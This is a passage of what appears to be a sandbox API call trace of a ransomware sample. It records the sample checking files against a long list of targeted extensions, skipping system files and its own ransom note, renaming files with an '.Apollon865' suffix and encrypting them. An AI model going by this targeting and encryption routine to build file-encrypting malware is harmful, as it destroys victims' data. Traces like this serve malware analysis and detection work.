	[0088.514] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0088.514] lstrlenW (lpString="odb") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.514] lstrlenW (lpString="odb") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.514] lstrlenW (lpString="oqy") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0088.514] lstrlenW (lpString="ora") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0088.514] lstrlenW (lpString="orx") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0088.514] lstrlenW (lpString="owc") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0088.514] lstrlenW (lpString="p96") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0088.514] lstrlenW (lpString="p97") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0088.514] lstrlenW (lpString="pan") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0088.514] lstrlenW (lpString="pdb") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0088.514] lstrlenW (lpString="pdm") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0088.514] lstrlenW (lpString="pnz") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0088.514] lstrlenW (lpString="qry") returned 3
	[0088.514] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0088.515] lstrlenW (lpString="qvd") returned 3
	[0088.515] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0088.515] lstrlenW (lpString="rbf") returned 3
	[0088.515] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0088.515] lstrlenW (lpString="rctd") returned 4
	[0088.515] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0088.515] lstrlenW (lpString="rod") returned 3
	[0088.515] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0088.516] lstrlenW (lpString="rodx") returned 4
	[0088.516] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0088.516] lstrlenW (lpString="rpd") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0088.516] lstrlenW (lpString="rsd") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0088.516] lstrlenW (lpString="sas7bdat") returned 8
	[0088.516] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0088.516] lstrlenW (lpString="sbf") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0088.516] lstrlenW (lpString="scx") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0088.516] lstrlenW (lpString="sdb") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0088.516] lstrlenW (lpString="sdc") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0088.516] lstrlenW (lpString="sdf") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0088.516] lstrlenW (lpString="sis") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0088.516] lstrlenW (lpString="spq") returned 3
	[0088.516] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0088.516] lstrlenW (lpString="te") returned 2
	[0088.516] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0088.516] lstrlenW (lpString="teacher") returned 7
	[0088.516] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0088.517] lstrlenW (lpString="tmd") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0088.517] lstrlenW (lpString="tps") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0088.517] lstrlenW (lpString="trc") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.517] lstrlenW (lpString="trc") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.517] lstrlenW (lpString="trm") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0088.517] lstrlenW (lpString="udb") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0088.517] lstrlenW (lpString="udl") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0088.517] lstrlenW (lpString="usr") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0088.517] lstrlenW (lpString="v12") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0088.517] lstrlenW (lpString="vis") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0088.517] lstrlenW (lpString="vpd") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0088.517] lstrlenW (lpString="vvv") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0088.517] lstrlenW (lpString="wdb") returned 3
	[0088.517] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0088.517] lstrlenW (lpString="wmdb") returned 4
	[0088.518] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0088.518] lstrlenW (lpString="wrk") returned 3
	[0088.518] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0088.518] lstrlenW (lpString="xdb") returned 3
	[0088.518] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0088.518] lstrlenW (lpString="xld") returned 3
	[0088.518] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0088.518] lstrlenW (lpString="xmlff") returned 5
	[0088.518] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0088.518] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.Apollon865") returned 58
	[0088.518] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0088.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.520] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=580) returned 1
	[0088.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.521] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.522] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.522] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.522] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x15c
	[0088.523] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000
	[0088.524] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.525] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.525] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.526] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.526] CloseHandle (hObject=0x15c) returned 1
	[0088.526] CloseHandle (hObject=0x9c) returned 1
	[0088.527] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.527] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.527] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.528] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".") returned 1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="..") returned 1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="windows") returned -1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="bootmgr") returned 1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="temp") returned -1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="pagefile.sys") returned -1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="boot") returned 1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ids.txt") returned -1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ntuser.dat") returned -1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="perflogs") returned -1
	[0088.528] lstrcmpiW (lpString1="Desktop.lnk", lpString2="MSBuild") returned -1
	[0088.528] lstrlenW (lpString="Desktop.lnk") returned 11
	[0088.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned 47
	[0088.528] lstrcpyW (in: lpString1=0x119e650, lpString2="Desktop.lnk" | out: lpString1="Desktop.lnk") returned="Desktop.lnk"
	[0088.528] lstrlenW (lpString="Desktop.lnk") returned 11
	[0088.529] lstrlenW (lpString="Apollon865") returned 10
	[0088.529] lstrcmpiW (lpString1="esktop.lnk", lpString2="Apollon865") returned 1
	[0088.529] lstrlenW (lpString=".dll") returned 4
	[0088.529] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".dll") returned 1
	[0088.529] lstrlenW (lpString=".lnk") returned 4
	[0088.529] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".lnk") returned 1
	[0088.529] lstrlenW (lpString=".ini") returned 4
	[0088.529] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".ini") returned 1
	[0088.529] lstrlenW (lpString=".sys") returned 4
	[0088.529] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".sys") returned 1
	[0088.529] lstrlenW (lpString="Desktop.lnk") returned 11
	[0088.529] lstrlenW (lpString="bak") returned 3
	[0088.529] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0088.529] lstrlenW (lpString="ba_") returned 3
	[0088.529] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0088.529] lstrlenW (lpString="dbb") returned 3
	[0088.529] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0088.529] lstrlenW (lpString="vmdk") returned 4
	[0088.529] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0088.529] lstrlenW (lpString="rar") returned 3
	[0088.529] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0088.529] lstrlenW (lpString="zip") returned 3
	[0088.529] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0088.529] lstrlenW (lpString="tgz") returned 3
	[0088.529] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0088.529] lstrlenW (lpString="vbox") returned 4
	[0088.529] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0088.529] lstrlenW (lpString="vdi") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0088.530] lstrlenW (lpString="vhd") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0088.530] lstrlenW (lpString="vhdx") returned 4
	[0088.530] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0088.530] lstrlenW (lpString="avhd") returned 4
	[0088.530] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0088.530] lstrlenW (lpString="db") returned 2
	[0088.530] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0088.530] lstrlenW (lpString="db2") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0088.530] lstrlenW (lpString="db3") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0088.530] lstrlenW (lpString="dbf") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0088.530] lstrlenW (lpString="mdf") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0088.530] lstrlenW (lpString="mdb") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0088.530] lstrlenW (lpString="sql") returned 3
	[0088.530] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0088.530] lstrlenW (lpString="sqlite") returned 6
	[0088.530] lstrcmpiW (lpString1="op.lnk", lpString2="sqlite") returned -1
	[0088.530] lstrlenW (lpString="sqlite3") returned 7
	[0088.530] lstrcmpiW (lpString1="top.lnk", lpString2="sqlite3") returned 1
	[0088.530] lstrlenW (lpString="sqlitedb") returned 8
	[0088.531] lstrcmpiW (lpString1="ktop.lnk", lpString2="sqlitedb") returned -1
	[0088.531] lstrlenW (lpString="xml") returned 3
	[0088.531] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0088.531] lstrlenW (lpString="$er") returned 3
	[0088.531] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0088.531] lstrlenW (lpString="4dd") returned 3
	[0088.531] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0088.531] lstrlenW (lpString="4dl") returned 3
	[0088.531] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0088.531] lstrlenW (lpString="^^^") returned 3
	[0088.531] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0088.531] lstrlenW (lpString="abs") returned 3
	[0088.531] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0088.531] lstrlenW (lpString="abx") returned 3
	[0088.531] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0088.531] lstrlenW (lpString="accdb") returned 5
	[0088.531] lstrcmpiW (lpString1="p.lnk", lpString2="accdb") returned 1
	[0088.531] lstrlenW (lpString="accdc") returned 5
	[0088.531] lstrcmpiW (lpString1="p.lnk", lpString2="accdc") returned 1
	[0088.531] lstrlenW (lpString="accde") returned 5
	[0088.531] lstrcmpiW (lpString1="p.lnk", lpString2="accde") returned 1
	[0088.531] lstrlenW (lpString="accdr") returned 5
	[0088.531] lstrcmpiW (lpString1="p.lnk", lpString2="accdr") returned 1
	[0088.531] lstrlenW (lpString="accdt") returned 5
	[0088.531] lstrcmpiW (lpString1="p.lnk", lpString2="accdt") returned 1
	[0088.531] lstrlenW (lpString="accdw") returned 5
	[0088.531] lstrcmpiW (lpString1="p.lnk", lpString2="accdw") returned 1
	[0088.531] lstrlenW (lpString="accft") returned 5
	[0088.532] lstrcmpiW (lpString1="p.lnk", lpString2="accft") returned 1
	[0088.532] lstrlenW (lpString="adb") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0088.532] lstrlenW (lpString="adb") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0088.532] lstrlenW (lpString="ade") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0088.532] lstrlenW (lpString="adf") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0088.532] lstrlenW (lpString="adn") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0088.532] lstrlenW (lpString="adp") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0088.532] lstrlenW (lpString="alf") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0088.532] lstrlenW (lpString="ask") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0088.532] lstrlenW (lpString="btr") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0088.532] lstrlenW (lpString="cat") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0088.532] lstrlenW (lpString="cdb") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0088.532] lstrlenW (lpString="ckp") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0088.532] lstrlenW (lpString="cma") returned 3
	[0088.532] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0088.532] lstrlenW (lpString="cpd") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0088.533] lstrlenW (lpString="dacpac") returned 6
	[0088.533] lstrcmpiW (lpString1="op.lnk", lpString2="dacpac") returned 1
	[0088.533] lstrlenW (lpString="dad") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0088.533] lstrlenW (lpString="dadiagrams") returned 10
	[0088.533] lstrcmpiW (lpString1="esktop.lnk", lpString2="dadiagrams") returned 1
	[0088.533] lstrlenW (lpString="daschema") returned 8
	[0088.533] lstrcmpiW (lpString1="ktop.lnk", lpString2="daschema") returned 1
	[0088.533] lstrlenW (lpString="db-journal") returned 10
	[0088.533] lstrcmpiW (lpString1="esktop.lnk", lpString2="db-journal") returned 1
	[0088.533] lstrlenW (lpString="db-shm") returned 6
	[0088.533] lstrcmpiW (lpString1="op.lnk", lpString2="db-shm") returned 1
	[0088.533] lstrlenW (lpString="db-wal") returned 6
	[0088.533] lstrcmpiW (lpString1="op.lnk", lpString2="db-wal") returned 1
	[0088.533] lstrlenW (lpString="dbc") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0088.533] lstrlenW (lpString="dbs") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0088.533] lstrlenW (lpString="dbt") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0088.533] lstrlenW (lpString="dbv") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0088.533] lstrlenW (lpString="dbx") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0088.533] lstrlenW (lpString="dcb") returned 3
	[0088.533] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0088.534] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0088.534] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.Apollon865") returned 58
	[0088.534] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk.apollon865"), dwFlags=0x1) returned 1
	[0088.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.537] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=486) returned 1
	[0088.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.538] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.539] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.539] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.539] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f0, lpName=0x0) returned 0x15c
	[0088.541] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f0) returned 0x100000
	[0088.542] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.542] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.542] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.542] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.543] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.543] CloseHandle (hObject=0x15c) returned 1
	[0088.543] CloseHandle (hObject=0x9c) returned 1
	[0088.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.543] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.543] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1
	[0088.543] lstrcmpiW (lpString1="Downloads.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".") returned 1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="..") returned 1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="windows") returned -1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="bootmgr") returned 1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="temp") returned -1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="pagefile.sys") returned -1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="boot") returned 1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ids.txt") returned -1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ntuser.dat") returned -1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="perflogs") returned -1
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2="MSBuild") returned -1
	[0088.544] lstrlenW (lpString="Downloads.lnk") returned 13
	[0088.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned 47
	[0088.544] lstrcpyW (in: lpString1=0x119e650, lpString2="Downloads.lnk" | out: lpString1="Downloads.lnk") returned="Downloads.lnk"
	[0088.544] lstrlenW (lpString="Downloads.lnk") returned 13
	[0088.544] lstrlenW (lpString="Apollon865") returned 10
	[0088.544] lstrcmpiW (lpString1="nloads.lnk", lpString2="Apollon865") returned 1
	[0088.544] lstrlenW (lpString=".dll") returned 4
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".dll") returned 1
	[0088.544] lstrlenW (lpString=".lnk") returned 4
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".lnk") returned 1
	[0088.544] lstrlenW (lpString=".ini") returned 4
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".ini") returned 1
	[0088.544] lstrlenW (lpString=".sys") returned 4
	[0088.544] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".sys") returned 1
	[0088.544] lstrlenW (lpString="Downloads.lnk") returned 13
